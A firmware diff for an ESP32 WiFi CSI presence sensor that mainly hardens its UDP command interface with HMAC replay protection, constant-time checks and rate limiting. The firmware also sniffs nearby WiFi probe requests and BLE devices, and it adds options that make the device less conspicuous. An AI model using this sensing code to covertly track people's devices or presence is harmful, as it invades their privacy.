const uint8_t *body = pkt->payload + sizeof(wifi_ieee80211_mac_hdr_t);
|
||||
int body_len = pkt->rx_ctrl.sig_len - sizeof(wifi_ieee80211_mac_hdr_t);
|
||||
@@ -1273,6 +1413,12 @@ static void wifi_promiscuous_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
if (ssid_len > 0 && ssid_len <= 32 && ssid_len + 2 <= body_len) {
|
||||
memcpy(ssid, &body[2], ssid_len);
|
||||
ssid[ssid_len] = '\0';
|
||||
/* Sanitize: replace non-printable and CSV-breaking chars */
|
||||
for (int j = 0; j < ssid_len; j++) {
|
||||
if (ssid[j] < 0x20 || ssid[j] > 0x7e || ssid[j] == ',') {
|
||||
ssid[j] = '?';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1306,8 +1452,19 @@ static void wifi_promiscuous_init(void)
|
||||
|
||||
/* --- HMAC command authentication --- */
|
||||
|
||||
/* Nonce dedup cache: reject exact replay of timestamp+HMAC within the window */
|
||||
#define AUTH_NONCE_CACHE_SIZE 8
|
||||
static struct {
|
||||
long ts;
|
||||
uint8_t mac_prefix[4]; /* first 4 bytes of HMAC hex for quick match */
|
||||
} s_auth_nonce_cache[AUTH_NONCE_CACHE_SIZE];
|
||||
static int s_auth_nonce_idx = 0;
|
||||
|
||||
/**
|
||||
* Verify HMAC-signed command. Format: "HMAC:<16hex>:<cmd>"
|
||||
* Verify HMAC-signed command. Format: "HMAC:<32hex>:<uptime_s>:<cmd>"
|
||||
* HMAC = first 16 bytes of SHA-256(secret, "<uptime_s>:<cmd>") as 32 hex chars
|
||||
* Timestamp must be within 5s of device uptime (replay protection).
|
||||
* Recently used timestamp+HMAC pairs are cached to reject exact replays.
|
||||
* Returns pointer to actual command on success, or NULL on failure
|
||||
* (with error message written to reply).
|
||||
*/
|
||||
@@ -1324,43 +1481,105 @@ static const char *auth_verify(const char *input, char *reply, size_t reply_size
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Find second colon after 16 hex chars */
|
||||
if (strlen(input) < 5 + 16 + 1) {
|
||||
/* Parse: HMAC:<32 hex chars>:<uptime_s>:<cmd> */
|
||||
if (strlen(input) < 5 + 32 + 1) {
|
||||
snprintf(reply, reply_size, "ERR AUTH malformed");
|
||||
return NULL;
|
||||
}
|
||||
if (input[5 + 16] != ':') {
|
||||
if (input[5 + 32] != ':') {
|
||||
snprintf(reply, reply_size, "ERR AUTH malformed");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char *cmd = input + 5 + 16 + 1;
|
||||
/* payload = "<uptime_s>:<cmd>" */
|
||||
const char *payload = input + 5 + 32 + 1;
|
||||
const char *cmd_sep = strchr(payload, ':');
|
||||
if (!cmd_sep) {
|
||||
snprintf(reply, reply_size, "ERR AUTH malformed (need timestamp:cmd)");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Compute HMAC-SHA256 of the command */
|
||||
/* Replay protection: reject stale timestamps (±5s window) */
|
||||
long ts = strtol(payload, NULL, 10);
|
||||
int64_t now_s = esp_timer_get_time() / 1000000LL;
|
||||
int64_t drift = now_s - (int64_t)ts;
|
||||
if (drift < -5 || drift > 5) {
|
||||
snprintf(reply, reply_size, "ERR AUTH expired (drift=%llds)", (long long)drift);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char *cmd = cmd_sep + 1;
|
||||
|
||||
/* Compute HMAC-SHA256 over payload (timestamp:cmd) */
|
||||
uint8_t hmac[32];
|
||||
mbedtls_md_context_t ctx;
|
||||
mbedtls_md_init(&ctx);
|
||||
const mbedtls_md_info_t *md_info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
|
||||
mbedtls_md_setup(&ctx, md_info, 1);
|
||||
mbedtls_md_hmac_starts(&ctx, (const uint8_t *)s_auth_secret, strlen(s_auth_secret));
|
||||
mbedtls_md_hmac_update(&ctx, (const uint8_t *)cmd, strlen(cmd));
|
||||
mbedtls_md_hmac_update(&ctx, (const uint8_t *)payload, strlen(payload));
|
||||
mbedtls_md_hmac_finish(&ctx, hmac);
|
||||
mbedtls_md_free(&ctx);
|
||||
|
||||
/* Format first 8 bytes as 16 hex chars */
|
||||
char expected[17];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
/* Format first 16 bytes as 32 hex chars (128-bit tag) */
|
||||
char expected[33];
|
||||
for (int i = 0; i < 16; i++) {
|
||||
snprintf(expected + i * 2, 3, "%02x", hmac[i]);
|
||||
}
|
||||
|
||||
if (strncmp(input + 5, expected, 16) != 0) {
|
||||
/* Constant-time comparison (prevents timing side-channel) */
|
||||
volatile uint8_t diff = 0;
|
||||
for (int i = 0; i < 32; i++) {
|
||||
diff |= (uint8_t)input[5 + i] ^ (uint8_t)expected[i];
|
||||
}
|
||||
if (diff != 0) {
|
||||
snprintf(reply, reply_size, "ERR AUTH failed");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Nonce dedup: reject if this exact timestamp+HMAC was already used */
|
||||
for (int i = 0; i < AUTH_NONCE_CACHE_SIZE; i++) {
|
||||
if (s_auth_nonce_cache[i].ts == ts &&
|
||||
memcmp(s_auth_nonce_cache[i].mac_prefix, input + 5, 4) == 0) {
|
||||
snprintf(reply, reply_size, "ERR AUTH replay rejected");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Record this nonce */
|
||||
s_auth_nonce_cache[s_auth_nonce_idx % AUTH_NONCE_CACHE_SIZE].ts = ts;
|
||||
memcpy(s_auth_nonce_cache[s_auth_nonce_idx % AUTH_NONCE_CACHE_SIZE].mac_prefix, input + 5, 4);
|
||||
s_auth_nonce_idx++;
|
||||
|
||||
return cmd;
|
||||
}
|
||||
|
||||
/* --- Privileged command check --- */
|
||||
|
||||
static bool cmd_requires_auth(const char *cmd)
|
||||
{
|
||||
/* Whitelist: read-only / query commands that don't modify state */
|
||||
if (strcmp(cmd, "STATUS") == 0) return false;
|
||||
if (strcmp(cmd, "CONFIG") == 0) return false;
|
||||
if (strcmp(cmd, "PROFILE") == 0) return false;
|
||||
if (strcmp(cmd, "PING") == 0) return false;
|
||||
if (strcmp(cmd, "HELP") == 0) return false;
|
||||
if (strcmp(cmd, "HOSTNAME") == 0) return false;
|
||||
if (strcmp(cmd, "CSI") == 0) return false;
|
||||
if (strcmp(cmd, "CSIMODE") == 0) return false;
|
||||
if (strcmp(cmd, "POWERSAVE") == 0) return false;
|
||||
if (strcmp(cmd, "PRESENCE") == 0) return false;
|
||||
if (strcmp(cmd, "CHANSCAN") == 0) return false;
|
||||
if (strcmp(cmd, "FLOODTHRESH") == 0) return false;
|
||||
if (strcmp(cmd, "AUTH") == 0) return false;
|
||||
if (strcmp(cmd, "ALERT") == 0) return false;
|
||||
if (strcmp(cmd, "LED") == 0) return false;
|
||||
if (strcmp(cmd, "LOG") == 0) return false;
|
||||
if (strcmp(cmd, "CALIBRATE STATUS") == 0) return false;
|
||||
/* Everything else modifies state and requires auth */
|
||||
return true;
|
||||
}
|
||||
|
||||
/* --- Command handler --- */
|
||||
|
||||
static void reboot_after_delay(void *arg)
|
||||
@@ -1490,7 +1709,7 @@ static void powertest_task(void *arg)
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
static int cmd_handle(const char *cmd, char *reply, size_t reply_size, bool authed)
|
||||
{
|
||||
/* REBOOT */
|
||||
if (strncmp(cmd, "REBOOT", 6) == 0) {
|
||||
@@ -1531,13 +1750,21 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* STATUS */
|
||||
/* STATUS — minimal without auth, full with auth */
|
||||
if (strncmp(cmd, "STATUS", 6) == 0) {
|
||||
int64_t up = esp_timer_get_time() / 1000000LL;
|
||||
int days = (int)(up / 86400);
|
||||
int hours = (int)((up % 86400) / 3600);
|
||||
int mins = (int)((up % 3600) / 60);
|
||||
uint32_t heap = esp_get_free_heap_size();
|
||||
|
||||
char uptime_str[32];
|
||||
if (days > 0) {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dd%dh%dm", days, hours, mins);
|
||||
} else if (hours > 0) {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dh%dm", hours, mins);
|
||||
} else {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dm", mins);
|
||||
}
|
||||
|
||||
wifi_ap_record_t ap;
|
||||
int rssi = 0;
|
||||
@@ -1549,6 +1776,20 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
|
||||
const esp_app_desc_t *app_desc = esp_app_get_description();
|
||||
|
||||
if (!authed) {
|
||||
/* Minimal: no build info, no target, no internals */
|
||||
snprintf(reply, reply_size,
|
||||
"OK STATUS hostname=%s uptime=%s uptime_s=%lld rssi=%d channel=%d"
|
||||
" version=%s motion=%d presence=%d",
|
||||
s_hostname, uptime_str, (long long)up, rssi, channel,
|
||||
app_desc->version, s_motion_detected ? 1 : 0,
|
||||
s_presence_detected ? 1 : 0);
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* Full status (authenticated) */
|
||||
uint32_t heap = esp_get_free_heap_size();
|
||||
|
||||
float chip_temp = 0.0f;
|
||||
#if SOC_TEMP_SENSOR_SUPPORTED
|
||||
if (s_temp_handle) {
|
||||
@@ -1558,15 +1799,6 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
|
||||
int actual_rate = (up > 0) ? (int)((uint64_t)s_csi_count / (uint64_t)up) : 0;
|
||||
|
||||
char uptime_str[32];
|
||||
if (days > 0) {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dd%dh%dm", days, hours, mins);
|
||||
} else if (hours > 0) {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dh%dm", hours, mins);
|
||||
} else {
|
||||
snprintf(uptime_str, sizeof(uptime_str), "%dm", mins);
|
||||
}
|
||||
|
||||
const char *csi_mode_str = (s_csi_mode == CSI_MODE_COMPACT) ? "compact" :
|
||||
(s_csi_mode == CSI_MODE_HYBRID) ? "hybrid" : "raw";
|
||||
|
||||
@@ -1589,8 +1821,9 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
"OK STATUS uptime=%s uptime_s=%lld heap=%lu rssi=%d channel=%d tx_power=%d rate=%d csi_rate=%d"
|
||||
" hostname=%s version=%s adaptive=%s motion=%d ble=%s target=%s:%d"
|
||||
" temp=%.1f csi_count=%lu boots=%lu rssi_min=%d rssi_max=%d"
|
||||
" csi_mode=%s hybrid_n=%d auth=%s flood_thresh=%d/%d powersave=%s"
|
||||
" csi=%s csi_mode=%s hybrid_n=%d auth=%s flood_thresh=%d/%d powersave=%s"
|
||||
" presence=%s pr_score=%.4f chanscan=%s led=%s"
|
||||
" alert_temp=%.1f alert_heap=%lu"
|
||||
" nvs_used=%lu nvs_free=%lu nvs_total=%lu part_size=%lu"
|
||||
" built=%s_%s idf=%s chip=%sr%dc%d",
|
||||
uptime_str, (long long)up, (unsigned long)heap, rssi, channel, (int)s_tx_power_dbm,
|
||||
@@ -1600,12 +1833,13 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
s_ble_enabled ? "on" : "off", s_target_ip, s_target_port,
|
||||
chip_temp, (unsigned long)s_csi_count, (unsigned long)s_boot_count,
|
||||
(int)s_rssi_min, (int)s_rssi_max,
|
||||
csi_mode_str, s_hybrid_interval,
|
||||
s_csi_enabled ? "on" : "off", csi_mode_str, s_hybrid_interval,
|
||||
s_auth_secret[0] ? "on" : "off",
|
||||
s_flood_thresh, s_flood_window_s,
|
||||
s_powersave ? "on" : "off",
|
||||
s_presence_enabled ? "on" : "off", s_pr_last_score,
|
||||
s_chanscan_enabled ? "on" : "off", s_led_quiet ? "quiet" : "auto",
|
||||
s_alert_temp_thresh, (unsigned long)s_alert_heap_thresh,
|
||||
(unsigned long)nvs_stats.used_entries,
|
||||
(unsigned long)nvs_stats.free_entries,
|
||||
(unsigned long)nvs_stats.total_entries,
|
||||
@@ -1688,6 +1922,14 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
snprintf(reply, reply_size, "ERR HOSTNAME length 1-%d", (int)sizeof(s_hostname) - 1);
|
||||
return strlen(reply);
|
||||
}
|
||||
/* Validate: lowercase alphanumeric and hyphens only */
|
||||
for (size_t i = 0; i < nlen; i++) {
|
||||
char c = name[i];
|
||||
if (!((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') || c == '-')) {
|
||||
snprintf(reply, reply_size, "ERR HOSTNAME chars: a-z 0-9 -");
|
||||
return strlen(reply);
|
||||
}
|
||||
}
|
||||
strncpy(s_hostname, name, sizeof(s_hostname) - 1);
|
||||
s_hostname[sizeof(s_hostname) - 1] = '\0';
|
||||
config_save_str("hostname", s_hostname);
|
||||
@@ -1781,6 +2023,28 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* CSI [ON|OFF] - enable/disable CSI collection */
|
||||
if (strcmp(cmd, "CSI") == 0) {
|
||||
snprintf(reply, reply_size, "OK CSI %s", s_csi_enabled ? "on" : "off");
|
||||
return strlen(reply);
|
||||
}
|
||||
if (strncmp(cmd, "CSI ", 4) == 0) {
|
||||
const char *arg = cmd + 4;
|
||||
if (strncmp(arg, "ON", 2) == 0) {
|
||||
s_csi_enabled = true;
|
||||
config_save_i8("csi_enabled", 1);
|
||||
wifi_ping_router_start();
|
||||
snprintf(reply, reply_size, "OK CSI on");
|
||||
} else if (strncmp(arg, "OFF", 3) == 0) {
|
||||
s_csi_enabled = false;
|
||||
config_save_i8("csi_enabled", 0);
|
||||
snprintf(reply, reply_size, "OK CSI off (probe capture active)");
|
||||
} else {
|
||||
snprintf(reply, reply_size, "ERR CSI ON|OFF");
|
||||
}
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* CSIMODE [RAW|COMPACT|HYBRID N] */
|
||||
if (strcmp(cmd, "CSIMODE") == 0) {
|
||||
const char *mode_str = (s_csi_mode == CSI_MODE_COMPACT) ? "COMPACT" :
|
||||
@@ -1894,7 +2158,7 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* AUTH [secret|OFF] */
|
||||
/* AUTH [secret] — rotate secret (disable not allowed remotely) */
|
||||
if (strcmp(cmd, "AUTH") == 0) {
|
||||
snprintf(reply, reply_size, "OK AUTH %s", s_auth_secret[0] ? "on" : "off");
|
||||
return strlen(reply);
|
||||
@@ -1902,9 +2166,8 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
if (strncmp(cmd, "AUTH ", 5) == 0) {
|
||||
const char *arg = cmd + 5;
|
||||
if (strcmp(arg, "OFF") == 0) {
|
||||
s_auth_secret[0] = '\0';
|
||||
config_save_str("auth_secret", "");
|
||||
snprintf(reply, reply_size, "OK AUTH off");
|
||||
snprintf(reply, reply_size, "ERR AUTH cannot be disabled remotely (use FACTORY to reset)");
|
||||
return strlen(reply);
|
||||
} else {
|
||||
size_t alen = strlen(arg);
|
||||
if (alen < 8 || alen > 64) {
|
||||
@@ -2124,10 +2387,240 @@ static int cmd_handle(const char *cmd, char *reply, size_t reply_size)
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* PING — echo reply for connectivity tests */
|
||||
if (strcmp(cmd, "PING") == 0) {
|
||||
snprintf(reply, reply_size, "OK PONG");
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* LOG <NONE|ERROR|WARN|INFO|DEBUG|VERBOSE> */
|
||||
if (strncmp(cmd, "LOG ", 4) == 0) {
|
||||
const char *arg = cmd + 4;
|
||||
esp_log_level_t level;
|
||||
if (strcmp(arg, "NONE") == 0) level = ESP_LOG_NONE;
|
||||
else if (strcmp(arg, "ERROR") == 0) level = ESP_LOG_ERROR;
|
||||
else if (strcmp(arg, "WARN") == 0) level = ESP_LOG_WARN;
|
||||
else if (strcmp(arg, "INFO") == 0) level = ESP_LOG_INFO;
|
||||
else if (strcmp(arg, "DEBUG") == 0) level = ESP_LOG_DEBUG;
|
||||
else if (strcmp(arg, "VERBOSE") == 0) level = ESP_LOG_VERBOSE;
|
||||
else {
|
||||
snprintf(reply, reply_size, "ERR LOG NONE|ERROR|WARN|INFO|DEBUG|VERBOSE");
|
||||
return strlen(reply);
|
||||
}
|
||||
esp_log_level_set("*", level);
|
||||
snprintf(reply, reply_size, "OK LOG %s", arg);
|
||||
return strlen(reply);
|
||||
}
|
||||
if (strcmp(cmd, "LOG") == 0) {
|
||||
snprintf(reply, reply_size, "OK LOG (use LOG <NONE|ERROR|WARN|INFO|DEBUG|VERBOSE>)");
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* RSSI RESET — reset min/max counters */
|
||||
if (strcmp(cmd, "RSSI RESET") == 0) {
|
||||
s_rssi_min = 0;
|
||||
s_rssi_max = -128;
|
||||
snprintf(reply, reply_size, "OK RSSI min/max reset");
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* ALERT — set temp/heap alert thresholds */
|
||||
if (strcmp(cmd, "ALERT") == 0) {
|
||||
snprintf(reply, reply_size, "OK ALERT temp=%.1f heap=%lu (0=off)",
|
||||
s_alert_temp_thresh, (unsigned long)s_alert_heap_thresh);
|
||||
return strlen(reply);
|
||||
}
|
||||
if (strncmp(cmd, "ALERT ", 6) == 0) {
|
||||
const char *arg = cmd + 6;
|
||||
if (strncmp(arg, "TEMP ", 5) == 0) {
|
||||
float val = strtof(arg + 5, NULL);
|
||||
if (val < 0 || val > 125) {
|
||||
snprintf(reply, reply_size, "ERR ALERT TEMP range 0-125 (0=off)");
|
||||
return strlen(reply);
|
||||
}
|
||||
s_alert_temp_thresh = val;
|
||||
config_save_i32("alert_temp", (int32_t)(val * 10.0f));
|
||||
snprintf(reply, reply_size, "OK ALERT TEMP %.1f", val);
|
||||
return strlen(reply);
|
||||
}
|
||||
if (strncmp(arg, "HEAP ", 5) == 0) {
|
||||
int val = atoi(arg + 5);
|
||||
if (val < 0 || val > 300000) {
|
||||
snprintf(reply, reply_size, "ERR ALERT HEAP range 0-300000 (0=off)");
|
||||
return strlen(reply);
|
||||
}
|
||||
s_alert_heap_thresh = (uint32_t)val;
|
||||
config_save_i32("alert_heap", val);
|
||||
snprintf(reply, reply_size, "OK ALERT HEAP %d", val);
|
||||
return strlen(reply);
|
||||
}
|
||||
if (strcmp(arg, "OFF") == 0) {
|
||||
s_alert_temp_thresh = 0.0f;
|
||||
s_alert_heap_thresh = 0;
|
||||
config_save_i32("alert_temp", 0);
|
||||
config_save_i32("alert_heap", 0);
|
||||
snprintf(reply, reply_size, "OK ALERT all disabled");
|
||||
return strlen(reply);
|
||||
}
|
||||
snprintf(reply, reply_size, "ERR ALERT TEMP <c>|HEAP <bytes>|OFF");
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* HELP */
|
||||
if (strcmp(cmd, "HELP") == 0) {
|
||||
int pos = 0;
|
||||
pos += snprintf(reply + pos, reply_size - pos,
|
||||
"OK HELP\n"
|
||||
"STATUS CONFIG PROFILE PING HELP\n"
|
||||
"RATE <10-100> POWER <2-20> TARGET <ip> [port]\n"
|
||||
"HOSTNAME [name] CSI [ON|OFF] CSIMODE [RAW|COMPACT|HYBRID N]\n"
|
||||
"ADAPTIVE [ON|OFF] THRESHOLD <0-1>\n"
|
||||
"BLE [ON|OFF] SCANRATE <5-300> PROBERATE <1-300>\n"
|
||||
"CALIBRATE [STATUS|CLEAR|N] PRESENCE [ON|OFF|THRESHOLD]\n"
|
||||
"CHANSCAN [ON|OFF|NOW|INTERVAL] LED [QUIET|AUTO]\n"
|
||||
"POWERSAVE [ON|OFF] AUTH [secret] FLOODTHRESH <n> [win]\n"
|
||||
"ALERT [TEMP <c>|HEAP <bytes>|OFF] LOG <level> RSSI RESET\n"
|
||||
"OTA <url> POWERTEST [dwell] IDENTIFY REBOOT FACTORY");
|
||||
return pos;
|
||||
}
|
||||
|
||||
/* FACTORY — erase all NVS config and reboot */
|
||||
if (strcmp(cmd, "FACTORY") == 0) {
|
||||
snprintf(reply, reply_size, "OK FACTORY erasing config and rebooting");
|
||||
/* Send reply before erasing */
|
||||
nvs_handle_t fh;
|
||||
if (nvs_open("csi_config", NVS_READWRITE, &fh) == ESP_OK) {
|
||||
nvs_erase_all(fh);
|
||||
nvs_commit(fh);
|
||||
nvs_close(fh);
|
||||
}
|
||||
xTaskCreate(reboot_after_delay, "reboot", 1024, NULL, 1, NULL);
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* CONFIG — dump all NVS settings */
|
||||
if (strcmp(cmd, "CONFIG") == 0) {
|
||||
const char *csi_mode_str = (s_csi_mode == CSI_MODE_COMPACT) ? "compact" :
|
||||
(s_csi_mode == CSI_MODE_HYBRID) ? "hybrid" : "raw";
|
||||
int pos = 0;
|
||||
pos += snprintf(reply + pos, reply_size - pos,
|
||||
"OK CONFIG\n"
|
||||
"hostname=%s\n"
|
||||
"send_rate=%d\n"
|
||||
"tx_power=%d\n"
|
||||
"target=%s:%d\n"
|
||||
"csi=%s\n"
|
||||
"csi_mode=%s\n"
|
||||
"hybrid_n=%d\n"
|
||||
"adaptive=%s\n"
|
||||
"threshold=%.6f\n"
|
||||
"ble=%s\n"
|
||||
"scan_rate=%ds\n"
|
||||
"probe_rate=%ds\n"
|
||||
"presence=%s\n"
|
||||
"pr_thresh=%.4f\n"
|
||||
"baseline_nsub=%d\n"
|
||||
"chanscan=%s\n"
|
||||
"chanscan_int=%ds\n"
|
||||
"led=%s\n"
|
||||
"powersave=%s\n"
|
||||
"auth=%s\n"
|
||||
"flood_thresh=%d/%ds\n"
|
||||
"alert_temp=%.1f\n"
|
||||
"alert_heap=%lu\n"
|
||||
"boots=%lu",
|
||||
s_hostname,
|
||||
s_send_frequency,
|
||||
(int)s_tx_power_dbm,
|
||||
s_target_ip, s_target_port,
|
||||
s_csi_enabled ? "on" : "off",
|
||||
csi_mode_str,
|
||||
s_hybrid_interval,
|
||||
s_adaptive ? "on" : "off",
|
||||
s_motion_threshold,
|
||||
s_ble_enabled ? "on" : "off",
|
||||
(int)(s_ble_scan_interval_us / 1000000LL),
|
||||
(int)(s_probe_dedup_us / 1000000LL),
|
||||
s_presence_enabled ? "on" : "off",
|
||||
s_pr_threshold,
|
||||
s_baseline_nsub,
|
||||
s_chanscan_enabled ? "on" : "off",
|
||||
s_chanscan_interval_s,
|
||||
s_led_quiet ? "quiet" : "auto",
|
||||
s_powersave ? "on" : "off",
|
||||
s_auth_secret[0] ? "on" : "off",
|
||||
s_flood_thresh, s_flood_window_s,
|
||||
s_alert_temp_thresh, (unsigned long)s_alert_heap_thresh,
|
||||
(unsigned long)s_boot_count);
|
||||
return pos;
|
||||
}
|
||||
|
||||
snprintf(reply, reply_size, "ERR UNKNOWN");
|
||||
return strlen(reply);
|
||||
}
|
||||
|
||||
/* ── Serial console (UART0) — AUTH management with physical access ─── */
|
||||
|
||||
static void serial_task(void *arg)
|
||||
{
|
||||
char line[128];
|
||||
ESP_LOGI(TAG, "Serial console ready (type HELP for commands)");
|
||||
|
||||
while (1) {
|
||||
if (fgets(line, sizeof(line), stdin) == NULL) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Trim trailing whitespace */
|
||||
size_t len = strlen(line);
|
||||
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r' || line[len - 1] == ' '))
|
||||
line[--len] = '\0';
|
||||
if (len == 0) continue;
|
||||
|
||||
if (strcasecmp(line, "AUTH") == 0) {
|
||||
if (s_auth_secret[0])
|
||||
printf("OK AUTH on secret=%s\n", s_auth_secret);
|
||||
else
|
||||
printf("OK AUTH off\n");
|
||||
} else if (strncasecmp(line, "AUTH ", 5) == 0) {
|
||||
const char *val = line + 5;
|
||||
if (strcasecmp(val, "OFF") == 0) {
|
||||
s_auth_secret[0] = '\0';
|
||||
config_erase_key("auth_secret");
|
||||
printf("OK AUTH off (cleared)\n");
|
||||
} else {
|
||||
size_t alen = strlen(val);
|
||||
if (alen < 8 || alen > 64) {
|
||||
printf("ERR secret length 8-64 chars\n");
|
||||
} else {
|
||||
strncpy(s_auth_secret, val, sizeof(s_auth_secret) - 1);
|
||||
s_auth_secret[sizeof(s_auth_secret) - 1] = '\0';
|
||||
config_save_str("auth_secret", s_auth_secret);
|
||||
printf("OK AUTH on secret=%s\n", s_auth_secret);
|
||||
}
|
||||
}
|
||||
} else if (strcasecmp(line, "STATUS") == 0) {
|
||||
const esp_app_desc_t *desc = esp_app_get_description();
|
||||
printf("OK hostname=%s uptime_s=%lld heap=%lu auth=%s version=%s\n",
|
||||
s_hostname,
|
||||
(long long)(esp_timer_get_time() / 1000000LL),
|
||||
(unsigned long)esp_get_free_heap_size(),
|
||||
s_auth_secret[0] ? "on" : "off",
|
||||
desc->version);
|
||||
} else if (strcasecmp(line, "HELP") == 0) {
|
||||
printf("Serial commands:\n"
|
||||
" AUTH Show auth secret\n"
|
||||
" AUTH <secret> Set auth secret (8-64 chars)\n"
|
||||
" AUTH OFF Clear auth secret\n"
|
||||
" STATUS Show basic status\n"
|
||||
" HELP This help\n");
|
||||
} else {
|
||||
printf("ERR unknown serial command (type HELP)\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void cmd_task(void *arg)
|
||||
{
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
@@ -2157,6 +2650,9 @@ static void cmd_task(void *arg)
|
||||
struct sockaddr_in src_addr;
|
||||
socklen_t src_len;
|
||||
|
||||
/* Rate limiting: min 50ms between commands (20 cmd/s max) */
|
||||
int64_t last_cmd_time = 0;
|
||||
|
||||
while (1) {
|
||||
src_len = sizeof(src_addr);
|
||||
int len = recvfrom(sock, rx_buf, sizeof(rx_buf) - 1, 0,
|
||||
@@ -2167,20 +2663,47 @@ static void cmd_task(void *arg)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Rate limit: drop packets arriving faster than 50ms apart */
|
||||
int64_t now_cmd = esp_timer_get_time();
|
||||
if (now_cmd - last_cmd_time < 50000) {
|
||||
continue;
|
||||
}
|
||||
last_cmd_time = now_cmd;
|
||||
|
||||
/* Strip trailing whitespace */
|
||||
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r' || rx_buf[len - 1] == ' ')) {
|
||||
len--;
|
||||
}
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
ESP_LOGI(TAG, "CMD rx: \"%s\"", rx_buf);
|
||||
|
||||
const char *verified = auth_verify(rx_buf, reply_buf, sizeof(reply_buf));
|
||||
int reply_len;
|
||||
if (verified) {
|
||||
reply_len = cmd_handle(verified, reply_buf, sizeof(reply_buf));
|
||||
/* Log command (redact HMAC token) */
|
||||
if (strncmp(rx_buf, "HMAC:", 5) == 0 && strlen(rx_buf) > 38) {
|
||||
ESP_LOGI(TAG, "CMD rx: HMAC:****:%s", rx_buf + 38);
|
||||
} else {
|
||||
ESP_LOGI(TAG, "CMD rx: \"%s\"", rx_buf);
|
||||
}
|
||||
|
||||
/* Authenticate: HMAC grants full access; plain commands are read-only */
|
||||
const char *cmd = rx_buf;
|
||||
bool authed = false;
|
||||
int reply_len;
|
||||
|
||||
if (strncmp(rx_buf, "HMAC:", 5) == 0) {
|
||||
cmd = auth_verify(rx_buf, reply_buf, sizeof(reply_buf));
|
||||
if (cmd) {
|
||||
authed = true;
|
||||
}
|
||||
} else if (s_auth_secret[0] == '\0') {
|
||||
authed = true;
|
||||
}
|
||||
|
||||
if (!cmd) {
|
||||
/* HMAC verification failed — error set by auth_verify */
|
||||
reply_len = strlen(reply_buf);
|
||||
} else if (!authed && cmd_requires_auth(cmd)) {
|
||||
reply_len = snprintf(reply_buf, sizeof(reply_buf), "ERR AUTH required");
|
||||
} else {
|
||||
reply_len = cmd_handle(cmd, reply_buf, sizeof(reply_buf), authed);
|
||||
}
|
||||
sendto(sock, reply_buf, reply_len, 0,
|
||||
(struct sockaddr *)&src_addr, src_len);
|
||||
@@ -2284,12 +2807,11 @@ void app_main()
|
||||
}
|
||||
#endif
|
||||
|
||||
/* mDNS: announce as <hostname>.local with _esp-csi._udp service */
|
||||
/* mDNS: announce as <hostname>.local — generic service type to reduce fingerprinting */
|
||||
ESP_ERROR_CHECK(mdns_init());
|
||||
mdns_hostname_set(s_hostname);
|
||||
mdns_instance_name_set("ESP32 CSI Sensor");
|
||||
mdns_service_add(NULL, "_esp-csi", "_udp", s_target_port, NULL, 0);
|
||||
ESP_LOGI(TAG, "mDNS hostname: %s.local (_esp-csi._udp:%d)", s_hostname, s_target_port);
|
||||
mdns_instance_name_set(s_hostname);
|
||||
ESP_LOGI(TAG, "mDNS hostname: %s.local", s_hostname);
|
||||
|
||||
/* Watchdog: 30s timeout, auto-reboot on hang */
|
||||
esp_task_wdt_config_t wdt_cfg = {
|
||||
@@ -2316,7 +2838,7 @@ void app_main()
|
||||
|
||||
ESP_LOGI(TAG, "BLE: NimBLE initialized, scan=%s", s_ble_enabled ? "on" : "off");
|
||||
|
||||
s_led_mode = LED_SLOW_BLINK;
|
||||
s_led_mode = s_led_quiet ? LED_OFF : LED_SLOW_BLINK;
|
||||
|
||||
udp_socket_init();
|
||||
wifi_csi_init();
|
||||
@@ -2328,6 +2850,7 @@ void app_main()
|
||||
|
||||
xTaskCreate(cmd_task, "cmd_task", 6144, NULL, 5, NULL);
|
||||
xTaskCreate(adaptive_task, "adaptive", 3072, NULL, 3, NULL);
|
||||
